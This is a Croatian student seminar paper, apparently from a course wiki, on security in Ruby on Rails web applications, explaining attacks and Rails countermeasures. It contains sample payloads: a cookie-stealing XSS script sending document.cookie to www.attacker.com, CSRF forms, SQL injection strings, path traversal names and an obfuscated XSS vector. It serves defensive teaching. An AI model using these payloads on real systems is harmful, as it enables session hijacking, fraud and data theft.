Sigurnosne značajke Ruby on Rails web aplikacija
Članovi tima:
- Ivan Miličević
- Andrej Kasić
--Andrej Kasić 15:53, 12. studenog 2015. (CET)
--Ivan Miličević 15:06, 1. studenog 2015. (CET)
Uvod
Web aplikacije omogućuju brojnim poduzećima da obavljaju svoje djelatnosti putem Interneta, a također omogućuju i privatnim korisnicima da obavljaju razne poslove, kao što su kupovina, mobilno bankarstvo, komunikacija, ali i zabava i razonoda.
Izrada takvih aplikacija danas je moguća u velikom broju programskih jezika i razvojnih okruženja (eng. framework) kao što su PHP, ASP.Net, Python i Django, a veliku popularnost ima i Ruby on Rails kojim ćemo se u ovom radu baviti.
Ruby on Rails stekao je veliku naklonost programerske zajednice budući da je riječ o okruženju u kojemu je moguće razvijati vrlo brzo (Rapid application development), omogućeno je generiranje elemenata, čak i dijelova administracijskog sučelja kroz nekoliko linija u Terminalu. Taj postupak se naziva scaffolding.
Brojni veliki servisi u današnje vrijeme odabrali su upravo Ruby on Rails za svoje razvojno okruženje, a neki od najpoznatijih su Github, AirBnB, Twitch, Zendex i Shopify.
U ovom radu usmjerit ćemo se na sigurnosni aspekt web aplikacija. Treba naglasiti da ne postoji neko razvojno okruženje koje je najsigurnije, nego sva ovise prvenstveno o ljudima i načinu na koji ih koriste. Međutim, Ruby on Rails sadrži određene metode koje pružaju dobru zaštitu u određenim aspektima, kao što je primjerice SQL Injection, CSRF i slično.
Sigurnost web aplikacija odnosi se na više slojeva: web servera, baze podataka i same aplikacije, a najveći broj napada upravo se događa putem same aplikacije, a neke od najčešćih prijetnji su otimanje korisničkog računa, zaobilaženje kontrole pristupa, pregled i izmjena povjerljivih podataka i slično. Kako bi bili spremni obraniti se od napada, moramo ih i sami razumjeti i upoznati kako bi mogli naći prave protumjere.
Aplikacija: SimpleCMS
Primjere pojedinih mjera pokušali smo implementirati u aplikaciji SimpleCMS (Github) Riječ je o aplikaciji izrađenoj u frameworku Ruby on Rails, a omogućuje nekoliko glavnih funkcija:
- dodavanje administratorskog računa te izmjena i brisanje njegovog profila
- dodavanje, izmjena i brisanje tema
- dodavanje, izmjena i brisanje stranica unutar teme
- dodavanje, izmjena i brisanje sekcija unutar stranica
Sesije
Što su sesije
Svaki puta kada novi korisnik pristupi aplikaciji, Rails kreira novu sesiju automatski, a kada joj pristupi postojeći korisnik tada se učita postojeća sesija koja sadrži podatke o tom korisniku. Sesija može spremiti male količine podataka o korisniku, kao što su user id trenutno prijavljenog korisnika, sadržaj njegove shopping kartice i slično. One omogućuju da korisnik izvršava akcije na web aplikaciji bez potrebe da kod svakog zahtjeva prema serveru mora obaviti identifikaciju ili autentifikaciju, nego to radi samo jednom.
Sesija se obično sastoji od hasha vrijednosti i ID-a koji je obično string duljine 32 znaka i služi za identificiranje hasha. Svaki kolačić koji se šalje korisniku u preglednik uključuje taj ID, a jednako tako i kod svakog zahtjeva korisnika preglednik ga šalje poslužitelju.
Spremanje i dohvaćanje vrijednosti iz sesije dohvaćaju se na sljedeći način putem metode session:
session[:user_id] = @current_user.id User.find(session[:user_id])
ID sesije
ID sesije je MD5 hash vrijednost duljine 32 bytea. Ta hash vrijednost sastoji se od trenutnog vremena, slučajnog broja između 0 i 1, ID-a procesa Ruby interpretera i stringa. Trenutno nije moguće brute-force napadom doći do tog ID-a.
Krađa sesije
Krađa sesije ili session hijacking je napad u kojem napadač ukrade ID sesije određenog korisnika te na taj način koristi aplikaciju kao taj korisnik.
Velik broj web aplikacija koristi autentifikacijski sustav u kojem korisnik postavlja korisničko ime i lozinku nakon čega aplikacija provjerava te podatke i sprema odgovarajući korisnikov ID u hash sesije (session[:user_id])
. Na taj način sesija postaje važeća i kod svakog sljedećeg zahtjeva ona učitava korisnika identificiranog s tim ID-jem bez potrebe za novom autentifikacijom. ID sesije u kolačiću identificira sesiju. Kolačić tada služi kao trajna autentifikacija za web aplikaciju. Bilo tko, tko dođe do tuđeg kolačića može koristiti aplikaciju u tuđe ime, a to može dovesti do teških posljedica.
U nastavku su neki od načina krađe sesije i moguće mjere protiv toga:
- Moguće je pratiti nekritpiranu bežićnu mrežu te na taj način doći do kolačića drugog korisnika. Zato je bitno da programer pruži sigurnu mrežu putem SSL-a, a u Railsu je moguće uvijek forsirati SSL konekciju u config dokumentu aplikacije:
config.force_ssl = true
- Mnogi ljudi ne čiste kolačiće iz svog preglednika nakon što aplikaciji pristupaju na tuđem računalu ili na javnim mjestima. Ako se korisnik ne odjavi sa servisa, moguće ga je koristiti kao taj korisnik.
- Mnogi cross-site scripting (XSS) napadi također su usmjereni na dohvaćanje korisnikovog kolačića.
- Mogući su i session fixation napadi o kojima ćemo govoriti malo kasnije.
Neke od ključnih smjernica za korištenje sesija su sljedeće:
- Ne spremati velike objekte u sesiju. Ne preporuča se spremanje bilo čega osim osnovnih Ruby objekata, jer u suprotnom može dolaziti do grešaka između zahtjeva prema poslužitelju. Umjesto toga, preporuča ih se spremati u bazu podataka, a njihov ID u sesiju. Na ovaj način se eliminiraju problemi sa sinkronizacijom i spriječava se popunjavanje mjesta za pohranu u sesiji.
- Kritični podaci se ne trebaju spremati u sesiji. Kada korisnik obriše kolačić ti će se podaci obrisati, a jednako tako kod spremanja sesije na klijentskoj strani, korisnik može čitati podatke.
Spremanje sesija
Aplikacije sadrže sesiju za svakog korisnika, a u njih je moguće spremiti malu količinu podataka koje su bitne za razmjenu između zahtjeva. Dostupne samo unutar Controllera i Viewa i mogu koristiti jedan od navedenih mehanizama pohrane:
ActionDispatch::Session::CookieStore
– sprema podatke na klijentaActionDispatch::Session::CacheStore
– sprema podatke u Rails cacheActionDispatch::Session::ActiveRecordStore
– sprema podatke u bazu podataka korištenjem Active RecordaActionDispatch::Session::MemCacheStore
- legacy implementacija; preporuča se korištenje CacheStore
Sve sesije koriste kolačić za spremanje jedinstvenog ID-a za svaku sesiju, Rails ne omogućava slanje session ID-a unutar URL-a budući da to nije sigurno. Kod većine spremanja, ID se koristi za pretraživanje sesije na serveru, npr. u tablici u bazi podataka.
Zadani način spremanja je CookieStore te se hash sprema direktno u kolačić na klijentskoj strani. Poslužitelj prihvaća hash sesije iz kolačića te eliminira porebu za ID-jem sesije što ubrzava aplikaciju, ali nije najsigurniji način spremanja i treba misliti o idućem:
- Kolačići su limitirani na striktnu veličinu od 4 KB. Preporuka je spremati samo ID trenutnog korisnika iz baze u sesiji.
- Klijent može vidjeti sve podatke iz sesije jer su spremljeni u čistom tekstu, odnosno Base64-enkodirani, tj. nisu kriptirani. Kako bi se spriječilo petljanje po sesiji (session tampering), računa se sažetak sesije sa tajnim ključem koji se nalazi na poslužitelju te se dodaje na kraj kolačića.
Sigurnost pohrane sesije ovisi o tajnom ključu koji se koristi i na temelju kojeg se računa sažetak. Predlaže se korištenje ključa duljine od barem 30 znakova, koji nije trivijalan te se ne nalazi u dictionaryju.
secrets.secret_key_base
– koristi se za definiranje ključa koji će se koristiti za provjeru sesija unutar aplikacije kako bi se spriječilo petljanje po sesiji. Inicijalizacija tog ključa radi se u config/secrets.yml fileu.
development: secret_key_base: a75d... test: secret_key_base: 492f... production: secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
Jedan od mogućih napada prilikom korištenja CookieStorea je replay attack. On je moguć kada se u kolačiću nalaze dodatni podaci, osim ID-ja, kao npr. informacije o vrijednosti sredstava koje korisnik ima na raspolaganju. Nakon što obavi kupnju, iznos sredstava se mijenja i sprema natrag u sesiju, međutim on tada može kopirati početni kolačić te se vratiti na sredstva koja je imao prije kupovine. Ovo možemo spriječiti korištenjem ActiveRecordStore
na način da se sredstva spremaju u bazu, a sesija sadrži samo ID trenutno prijavljenog korisnika.
Kod spremanja u bazu treba biti oprezan kada se kreiraju podaci sesije jer inače možemo popuniti bazu beskorisnim sesijama, a također ne možemo biti sigurni kako će se baza ponašati kada bude puna podataka iz sesija.
Treba biti svjestan da ne postoji savršen način spremanja sesija te treba dobro odvagnuti koju vrstu koristiti.
Session fixation
Napad se temelji na principu da napadač izmijeni ID korisnika na onaj ID koji mu je poznat, a zatim prisili korisnika da iskoristi taj promijenjeni ID.
Postupak je sljedeći:
- Napadač kreira validan ID sesije – otvori početnu stranicu web aplikacije i uzme ID sesije iz kolačića koji mu je poslužitelj vratio.
- Nakon toga napadać povremeno posjećuje aplikaciju kako bi izbjegao istjecanje sesije.
- Putem XSS napada prisili korisnika na pristup stranici koja je zaražena te mu zamijeni ID sesije sa onim koji im je poznat. Primjer tog napada je sljedeći:
<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>
. - Kako trenutna sesija žrtve nije korištena, aplikacija ga traži da ponovno izvrši autentifikaciju.
- Od ovog trenutka žrtva i napadač koriste aplikaciju pomoću jednake sesije. Ta sesija je valjana, a žrtva nije ni uočila napad.
Najbolja mjere protiv takvog napada je izdavanje novog ID-ja sesije i označavanja starog nevažećim nakon uspješne prijave. Na taj način, napadač više neće moći koristiti tu sesiju koju je podmetnuo žrtvi. Ova protumjera također je korisna i kod session hijackinga. Obrana je iznimno jednostavna, potrebno je samo koristiti navedenu metodu:
reset_session
Istek sesija
Postavljanje isteka sesija je bitno jer inače samo povećavamo vrijeme u kojem napadači mogu izvršiti napade kao što su Cross-site request forgery (CSRF), session hijacking i session fixation.
Jedna od mogućnosti je postavljanje vremena kada će kolačić sa ID-jem sesije isteći. Međutim, to nije potpuno rješenje jer klijent, odnosno u većini slučajeva napadač, može izmijeniti kolačiće koji se nalaze u njegovom Web pregledniku. Sigurniji način je postavljati istek sesije na poslužitelju. Jedna od mogućnosti je korištenje iduće metode: Session.sweep("15 minutes")
. Istek sesije će se dogoditi nakon što smo je koristili duže od 15 minuta.
class Session < ActiveRecord::Base def self.sweep(time = 1.hour) if time.is_a?(String) time = time.split.inject { |count, unit| count.to_i.send(unit) } end delete_all "updated_at < '#{time.ago.to_s(:db)}'" end end
Kod session fixation napada naglašeno je kako napadač mora održavati sesiju da ne istekne. U slučaju da napadač zadržava sesiju svakih par minuta, može je održati zauvijek, iako smo poduzeli akciju za istjecanje sesija. Moguće rješenje je dodavanje stupca created_at u tablici baze podataka o sesijama. Na taj način možemo brisati sesije koje su nastale davno. U sweep. metodu možemo dodati idući kod:
delete_all "updated_at < '#{time.ago.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
Cross-Site Request Forgery (CSRF)
Prema OWASP-u, CSRF je napad koji tjera web preglednik prijavljenog korisnika da šalje krivotvorene HTTP zahtjeve prema ranjivoj web aplikaciji. To uključuje i žrtvin kolačić iz sesije i ostale informacije vezane uz autentifikaciju. Na taj način, napadač može prisiliti žrtvin preglednik da generira zahtjeve za koje će ranjiva aplikacija misliti da su legitimno došli od žrtve.
Aplikacija omogućuje korisniku da podnese zahtjev za promjenu stanja koji ne sadrži ništa tajno. Na primjer:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
Sada napadač može kreirati zahtjev koji će prebaciti novac sa žrtvinog računa na njegov te ga ugraditi unutar slike (image taga), iframea ili slično na nekoj od stranica koje su pod kontrolom napadača. U slučaju da žrtva posjeti neku od napadačevih stranica dok je još uvijek prijavljen na example.com, krivotovreni zahjevi će automatski sadržavati informacije o njegovoj sesiji te na taj način autorizirati napadačev zahtjev.
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
Još jedan od načina za napad CSRF-om je i putem HTTP POST zahjeva. Moguće ga je poslati automatski na način da se forma koja će zahjev izvršiti kreira dinamički putem Javascripta.
<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
Također je moguće takav napad izvršiti i bez potrebe da se posjeti neku poveznicu, npr. možemo unutar slike na stranici postaviti Javascript onMouseOver event prilikom kojeg će se forma dinamički generirati, a zatim i potvrditi čime će se izvršiti akcija koja je opasna za korisnika kao što je brisanje računa, slanje uplate na tuđi račun i slično.
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
Kako se zaštititi?
Neke od osnovnih mogućnosti kako se moguće zaštititi od CSRF napada jesu implementiranje sigurnosnog tokena koji će se nalaziti unutar skrivenog input polja, a koji je jedinstven za svaki zahtjev prema poslužitelju. Još neke od mogućnosti su traženje korisnika da se ponovno prijavi ili se koristi CAPTCHA kako bi se stvarno dokazalo da navedeni zahtjev traži upravo taj korisnik.
Ruby on Rails sadrži vrlo jednostavan način za obranu od CSRF vrste napada, budući da posjeduje metodu koja će automatski uključiti sigurnosni token u sve forme i sve AJAX zahtjeve koje Rails generira. U slučaju da se token ne podudara s očekivanim, bit će izbačen Exception. Za implementaciju je unutar controllera aplikacije potrebno dodati iduće:
protect_from_forgery with: :exception
Na slici je prikazan primjer kako izgleda forma nakon postavljanja navedene metode.
Treba uzeti u obzir da XSS ranjivosti prelaze sve CSRF zaštite jer XSS daje mogućnost napadaču da dođe to svih elemenata na stranici, putem Javascript koda može manipulirati DOM elementima te tako doći do tokena koji koristimo za zaštitu od CSRF napada, a također nakon toga može i sam izvesti izvršavanje forme koju je sam dinamički kreirao.
Preusmjeravanje i dokumenti
Preusmjeravanje
Kada je korisniku dozvoljeno proslijediti dijelove URL-a za preusmjeravanje, moguće su ranjivosti. Najočitiji takav napad je preusmjeravanje na lažne stranice koje izgledaju jednako kao originalna stranica te neoprezni korisnici neće uočiti razliku, takvi napadi često se još nazivaju i phishing. Na ovaj način napadači šalju poveznice koje na prvi pogled ne izgledaju sumnjivo, budući da započinju sa pravom adresom i domenom, međutim opasan dio šalju u parametru za preusmjeravanje, kao na idućem primjeru:
http://www.example.com/site/redirect?to= www.attacker.com
Za zaštitu treba koristiti whitelist pristup koji će definirati koje je parametre moguće koristiti kod preusmjeravanja, a sve ostale zabraniti. Također se ne treba dozvoliti upisivanje URL-a ili njegovih dijelova prilikom preusmjeravanja nego samo parametre onih odredišta na koja želimo dozvoliti preusmjeravanje.
Upload datoteka
Brojne aplikacije dopuštaju korisnicima da uploadaju datoteke i tada je bitno očistiti nazive datoteka budući da napadač na taj način može koristiti štetno ime dokumenta kako bi obrisao neki dokument s poslužitelja. Ako se datoteke spremaju na lokaciji /var/www/uploads, a korisnik kao naziv upiše "../../../etc/passwd" moguće je da obriše bitne datoteke. Iz tog razloga je dobro pokretati Unix poslužitelj kao korisnik s manjim ovlastima, kako bi se ovakvi napadi spriječili.
Kod filtriranja naziva datoteka koje korisnici uploadaju, u situacijama kada naziv ima nedozvoljeni sadržaj, ne treba samo čistiti taj sadržaj od malicioznih dijelova nego korištenjem whitelist pristupa odrediti kakvi su nazivi dokumenata dozvoljeni, a ostale zabraniti. U nastavku je prikazan kod plugina pod nazivom attachment_fu te način na koji on provjerava i mijenja nazive datoteka.
def sanitize_filename(filename) filename.strip.tap do |name| # NOTE: File.basename doesn't work right with Windows paths on Unix # get only the filename, not the whole path name.sub! /\A.*(\\|\/)/, '' # Finally, replace all non alphanumeric, underscore # or periods with underscore name.gsub! /[^\w\.\-]/, '_' end end
Još jedan od prijedloga za upravljanje uploadom datoteka je korištenje asinkronog načina kako bi se izbjegli Denial-of-service (DoS) napadi prilikom kojih napadač sinkronizirano uspostavi upload datoteka s velikog broja računala u isto vrijeme te time izazove manju reponzivnost poslužitelja, a eventualno ga može i srušiti. Asinkroni način omogućuje da se spremi datoteka koju je potrebno uploadati, a zatim se šalje zahtjev poslužitelju da započne s preuzimanjem dokumenta u pozadini.
Preuzimanje dokumenata
Kao i kod uploada dokumenata od strane korisnika, potrebno je raditi filtraciju naziva datoteka i prilikom korisnikovog preuzimanja dokumenta. send_file()
metoda šalje dokument od poslužitelja prema klijentu. Ukoliko se koristi naziv datoteke koje je naveo korisnik bez provjere upisanog sadržaja, moguće je preuzeti bilo koji dokument, kao u primjeru:
send_file('/var/www/uploads/' + params[:filename])
U slučaju da se proslijedi naziv "../../../etc/passwd" moguće je preuzeti datoteku s korisničkim podacima za prijavu.
Sigurnost administracijskog sučelja
Administracijska sučelja česta su i glavna meta napada u web aplikacijama, zbog velikih razina dozvola koje administratori imaju. Zbog toga je bitno uvesti role koje će odrediti dopuštenja koje korisnik ima u sustavu.
Najveće prijetnje administracijskih sučelja često su vezana uz korisnički upis iz vanjskog dijela aplikacije, neki od takvih podataka su korisnički podaci kao što su imena, komentari, adrese i slično. Kada se takvi podaci pokazuju kod korisnika vrlo je bitno da svi upisi budu očišćeni, kako bi se izbjegli XSS napadi. U slučaju da postoji samo jedno mjesto unutar aplikacije u kojem se prikazuju podaci u izvornom obliku, bez provjere, moguća je opasnost za cijeli sustav.
Česti su i CSRF napadi koji omogućuju korisniku da obavlja sve akcije za koje administrator ima ovlasti. Kod ovakvog napada napadač mora znati strukturu URL-a, međutim kod Rails aplikacija je ta struktura prilično slična kod raznih aplikacija pa je moguće doći do sretnog pogotka nakon korištenja određenog broja kombinacija.
Administracijsko sučelje često je locirano na adresi kao što je www.example.com/admin
te ga je napadaču lako pogoditi. Tom području se obično ne može pristupiti ukoliko nije obavljena prijava, kao što je to u slučaju naše aplikacije:
before_action :confirm_logged_in
Međutim, to nije dovoljna zaštita budući da napadač zaista može imati administratorove podatke za prijavu. Neke od mogućih rješenja su dozvola pristupa administracijskom pristupu samo s određenog skupa IP adresa.
Moguće je također administracijsko sučelje postaviti na zasebnu poddomenu, npr. admin.simplecms.com i odvojiti tu aplikaciju i njezino upravljanje korisnicima. Na taj način nije moguće ukrasti administratorov kolačić s domene www.simplecms.com, jer mora vrijediti pravilo zajedničkog podrijetla u pregledniku: (XSS) skripta na adresi www.application.com ne može čitati kolačić od admin.application.com, isto vrijedi i za suprotan smjer.
--Ivan Miličević 18:30, 21. siječnja 2016. (CET)
Upravljanje Korisnicima
„User management“ je servis koji omogućuje kreiranje i upravljanje korisničkim podacima svakog korisnika sustava. Moguće je pregledavati koliko je aktivnih korisnika, manualno odlogirati korisnike, ograničiti vrijeme korištenja sustava itd.
Skoro svaka web aplikacija mora se nositi s autentifikacijom i autorizacijom. Umjesto da se to radi samostalno, preporučuje se korištenje pluginova koji imaju već ugrađene algoritme. Najbitnije ih je održavati ažurnima radi što veće sigurnosti. Mnoštvo je autentifikacijskih pluginova za Rails raspoloživo. Neki od boljih su devise i authlogic i spremaju samo kriptirane lozinke. Rails 3.1. daje mogućnost korištenja ugrađene has_secure_password
metode koja ima slične značajke kao i navedeni dodaci.
Brute-Forcing Računi
„Brute force“ napadi se izvršavaju tako da napadač pokušava provaliti korisničke lozinke i pokušava sve dok ne uspije. Obično se izvršava pomoću software-a koji generira velik broj pokušaja. Većina ljudi ima kratke lozinke koje sadrže kombinaciju slova, brojeva i ponekog specijalnog znaka. Takve lozinke računalo može provaliti za nekoliko minuta ili sati. Preporučuje se korištenje passfraza od 20 ili više znakova. Preporučuje se generiranje error poruka poput ove: „user name or password not correct“. Kada bi se reklo da npr. Lozinka nije točna tada bi bilo lagano samo generirati lozinke i brzo bi se provalio račun. Ono što se preporučuje je upotreba CAPTCHE nakon nekoliko neuspjelih pokušaja s određene IP adresa. Iako ni to nije najsigurnije rješenje jer računala mogu mijenjati IP adrese.
Krađa Računa
Lozinke
Situacija: Napadač može ukrasti sesiju i koristiti aplikaciju umjesto korisnika. Tada je lako promijeniti lozinku u postavkama za par minuta. Postoji i mogućnost da je forma za promjenu lozinke ranjiva na CSRF pa napadač može namamiti korisnika na npr. IMG file unutar kojeg se nalazi lažni URL koji mijenja lozinku po njegovoj želji.
Rješenje: Napraviti login forme ili forme za promjenu lozinke sigurne protiv CSRF napada i tražiti unos stare lozinke pri promjeni.
Situacija: Dok je napadač ukrao sesiju moguće je isto tako i promijeniti email. Kad ga promijeni može otići na „forgot password“ stranicu i nova lozinka će biti poslana na njegovu email adresu koju je unio.
Rješenje: Tražiti da se unese lozinka pri promjeni email-a.
Drugo
Situacija: Pomoću CSRF ranjivosti se može provaliti u Google mail. Recimo da je korisnik prijavljen s Google računom. Napadač navodi korisnika na web stranicu koju on kontrolira. Na njoj se nalazi IMG tag unutar nečega i klikom na tag pomoću GET HTTP zahtjeva se promijene filteri Gmail-a. Napadač može promijeniti filtere tako da preusmjeri mailove na svoju adresu.
Rješenje: Pregledati i ispitati aplikaciju i eliminirati sve XSS i CSRF ranjivosti.
CAPTCHA
CAPTCHA je test koji raspoznaje da odgovor nije došao od računala. Obično se koristi kod formi za komentiranje kako ne bi nastao veliki broj neželjenih poruka ili kod kreiranja računa. Najpopularniji CAPTCHA test je reCAPTCHA . Sadrži dvije izobličene slike riječi iz starih knjiga. Uz to je dodana i linija koja prolazi duž tih riječi.
ReCAPTCHA isto tako postoji i kao Rails reCAPTCHA. Javni i privatni ključ se dobiju s API-ja i moraju se ubaciti u Rails okruženje. Nakon toga se može unutar „View“-a koristiti „recaptha_tags“ i „verify recaptcha“ unutar kontrolera.„Verify recaptcha“ će vratiti „false“ ukoliko verifikacija ne prođe. Negativna CAPTCHA ne služi da bi korisnik dokazao da je čovjek, već da bi se otkrio spam robot. Većina robota je glupa i samo puzaju Webom i stavljaju neželjene poruke unutar svake forme koju nađu. Pomoću negativna CAPTCHE se to može iskoristi tako da se umetne „honeypot“ polje unutar forme koje će biti nevidljivo korisniku koristeći CSS ili JavaScript. Neki od načina kako sakriti „honeypot“ polje:
- Pozicionirati polje izvan vidljivog dijela stranice
- Napraviti ga vrlo malim ili ga obojiti jednako kao i pozadinu
- Prikazati polje prikazano ali reći korisniku da ga ostavi prazno
Na serveru se provjeri vrijednost polja i ako sadrži tekst mora biti robot. Tada se može ili ignorirati upit ili vratiti pozitivni rezultat, ali ne spremiti vrijednost u bazu.
Prijava (logging)
„Tell Rails not to put passwords in the log files.“
Po zadanome, Rails bilježi sve zahtjeve koji su napravljeni prema web aplikaciji. Log dokumenti mogu biti veliki sigurnosni problem ukoliko sadrže korisničke podatke za prijavu, brojeve kreditnih kartica itd. Kod dizajniranja sigurnosnog koncepta web aplikacije, treba misliti o tome što se može dogoditi ako napadač dobije puni pristup web serveru. Kriptiranje podataka je tada beskorisno ako log datoteka izlista podatke u čistom tekstu. Ipak se mogu filtrirati neki parametri unutar log datoteka dodajući ih u config.filter_parameters
. Ti parametri će biti označeni kao [FILTERED] u log datoteci.
config.filter_parameters << :password
Regularni izrazi
Česta zamka kod korištenja regularnih izraza u Ruby jeziku je da se početak i kraj stringa označava s „^“ i „$“, umjesto s /A i \z. Ruby koristi malo drukčiji pristup za označavanje početka i kraja stringa od drugih programskih jezika.
Kako to može biti sigurnosni pristup?
Recimo da želimo validirati URL polje i koristimo sljedeći regularni izraz:
/^https?:\/\/[^\n]+$/i
U Ruby-u znakovi „^“ i „$“ označavaju početak i kraj reda. Zbog toga ovakav URL bi prošao takav filter:
javascript:exploit_code();/* http://hi.com */
Takav URL će proći filter jer se regularni izraz odnosi samo na drugu liniju, ostalo ne gleda. Kako bi se popravio regularni izraz treba koristiti „\A“ i „\z“ i onda izgleda ovako:
/\Ahttps?:\/\/[^\n]+\z/i
Primjer korištenja EMAIL_REGEXA u našoj aplikaciji:
EMAIL_REGEX = /\A[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\Z/i
validates :email, :presence => true, :length => { :maximum => 100 }, :format => EMAIL_REGEX, :confirmation => true
Eskalacija Privilegija (Privilege Escalation)
Najčešći parametar koji korisnik može neovlašteno mijenjati je ID parametar kao npr. u http://www.domain.com/project/1
gdje je id=1. To je uglavnom implementirano ovako:
@project = Project.find(params[:id])
U aplikacijama u kojima svaki korisnik ima jednak pristup podacima je to u redu, ali gdje to nije tako je sigurnosni problem. U tom slučaju bi se trebala raditi autentifikacija pri svakom mijenjaju ID-a:
@project = @current_user.projects.find(params[:id])
Injection
Injection je vrsta napada kod kojeg se umeće maliciozni kod ili parametri unutar web aplikacije. Istaknuti primjeri su cross-site scripting (XSS) i SQL injection.
Whitelists protiv Blacklists
„When sanitizing, protecting or verifying something, prefer whitelists over blacklists.“
Crna lista može biti lista loših mailova, loših HTML tagova..., a „whitelist“ može biti lista dobrih mailova, dobrih HTML tagova itd. Iako je ponekad nemoguće upotrijebiti „whitelist“ preporučuje se upotreba whiteliste. „Whitelist“ je dobar pristup nasuprot ljudskom faktoru da zaboravi nešto unutar crne liste.
SQL injection
Uvod
SQL injection napadi utječu na upite u baze podataka manipulirajući parametre web aplikacija. Najčešći cilj SQL injection napada je zaobilaženje autorizacije. Drugi cilj je izvršiti manipulaciju podataka ili čitanje proizvoljnih podataka. Slijedi primjer kako ne koristiti input podatke u upitu:
Project.where("name = '#{params[:name]}'")
Recimo da se radi o search elementu u korisnik upisuje ime projekta koji ga zanima. Ako je napadač u pitanju i ako upiše ' OR 1 --
, upit u bazu će izgledati ovako:
SELECT * FROM projects WHERE name = '' OR 1 --'
Dvije crtice započinju komentar ignorirajući sve poslije. Ovakav upit vraća sve podatke iz tablice „projects“ jer je stanje istinito.
Zaobilaženje Autorizacije
Obično korisnik upiše svoje korisničke podatke i web aplikacija pokušava naći podatke koji se podudaraju unutar baze podataka te dodjeljuje pristup ukoliko ih nađe. Međutim, napadač može zaobići takvu provjeru koristeći SQL injection. Slijedi tipičan primjer upita u Rails-u kako pronaći zapis iz baze koj ise podudara s unesenim podacima:
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
Ako napadač unese ' OR '1'='1
u polje „name“ i ' OR '2'>'1
u polje „password“, upit će izgledati ovako:
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
Takav upit će pronaći prvi zapis u bazi podataka i dati pristup korinsiku.
Protumjere
Ruby on Rails ima ugrađeni filter za specijalne SQL znakove koji ispušta ', “, NULL znakove i prijelome redaka. Koristeći Model.find(id) or Model.find_by_some thing(something)
protumjera se automatski primjenjuje. U SQL fragmentima, kao u uvjetnim fragmentima (where("...")),connection.execute() ili Model.find_by_sql()
metodama, mora se ručno primijeniti.
Cross-Site Scripting (XSS)
Najrasprostranjeniji, i jedan od najrazornijih sigurnosnih propusta web aplikacija je XSS. Ovaj maliciozni napad umeće izvediv kod. Rails pruža metode koje pomažu u obrani od ovog napada.
Ulazne Točke
Ulazna točka je ranjivi URL i njegovi parametri gdje napadač može započeti napad. Najčešće ulazne točke su sva ona mjesta gdje korisnik može unijeti podatke. Ali napad ne mora doći samo iz input polja već može biti unutar svakog URL-a – očit ili skriven. XSS napad redi na sljedeći način: Napadač umetne neki kod, web aplikacija ga spremi i prikaže na stranici te ga tek kasnije prikaže žrtvi, obično u obliku „alert box“-a. XSS može ukrasti kolačiće, oteti sesiju, preusmjeriti žrtvu na lažnu web stranicu, prikazati reklame koje idu u korist napadača ili instalirati maliciozni software kroz sigurnosne rupe web preglednika.
HTML/JavaScript Injection
Najčešći XSS programski jezik je JavaScript, često u kombinaciji s HTML-om. Jednostavan način za provjeriti ranjivost na XSS je:
<script>alert('Hello');</script>
Krađa Kolačića
Krađa kolačića ne radi štetu direktno, već omogućuje napadaču da napravi štetu ako hoće. Koristi se JavaScript svojstvo document.cookie
kako bi se čitao i pisao kolačić. document.cookie
sadrži kolačić od web servera. Međutim, taj kolačić se može čitati i pisati ako se ubaci unutar HTML elementa (kao što se događa kod XSS-a). Primjer:
<script>document.write(document.cookie);</script>
Za napadača to nije korisno jer će žrtva vidjeti svoj kolačić. Sljedeći primjer će učitati sliku s URL-a http://www.attacker.com/
plus kolačić. Taj URL ne postoji pa preglednik neće ništa prikazati, ali napadač može pregledati pristupne log datoteke kako bi vidio žrtvin kolačić.
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
Log datoteke na www.attacker.com
će pročitati kolačić.
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
Ovakvi napadi se mogu ublažiti dodavanjem httpOnly
zastavice kolačiću kako document.cookie
ne bi bio pročitan od JavaScripta-a.
Protumjere
Jako je bitno da se filtrira maliciozni input, ali isto tako je bitno i očistiti ispis web aplikacije . Specijalno za XSS, bitno je napraviti „whitelist“ ulaznih filtera umjesto crne liste. Crne liste nisu nikad kompletne. Zamislimo da crna lista briše script
iz inputa. Napadač umetne <scrscriptipt>
, i nakon filtera ostane <script>
.
Osim korištenja „whitelist“-e dobra je praksa očistiti sve izlaze aplikacije, posebno kod ponovnog prikazivanja inputa koji nije filtriran. Korištenjem escapeHTML()
metode se znakovi &, ", <, > zamjenjuju s HTML prikazima (&, ", <, and >)
.
Primjer čišćenja zapisa i whitelistinga iz naše aplikacije:
raw(sanitize(section.content, :tags => ['strong', 'em', 'a']))
Obfuscation and Encoding Injection
Mrežni promet je većinom baziran na limitiranom latinskom alfabetu, nekoliko novih kodiranja, kao šro je Unicode. Isto tako to je i prijetnja web aplikacijama jer maliciozni kod može biti skriven u različitim kodiranjima koje web preglednik može obraditi, a web aplikacija možda ne može. Primjer napada u UTF-8 kodiranju:
<IMG SRC=javascript:a lert('XSS')>
Ovaj kod će ipak biti prepoznat od strane sanitize()
filtera. Odličan alat za kodiranje stringova je Hackvertor. Rails sanitize()
metoda isto radi izvrstan posao u obrani od encoding napada.
Primjeri iz Prakse
Kako bi se što bolje razumjeli današnji napadi na web aplikacije, najbolje je pogledati neke primjere iz stvarnog svijeta. Sljedeći kod je isječak iz Yahoo! Mail crva. Pojavio se 11.06.2006. i bio je prvi webmail crv.
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; var Email = ''; var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
Crv je iskoristio sigurnosnu rupu u Yahoo-ovom HTML/JavaScript filteru koji obično filtrira sve target
i onload
atribute.
CSS Injection
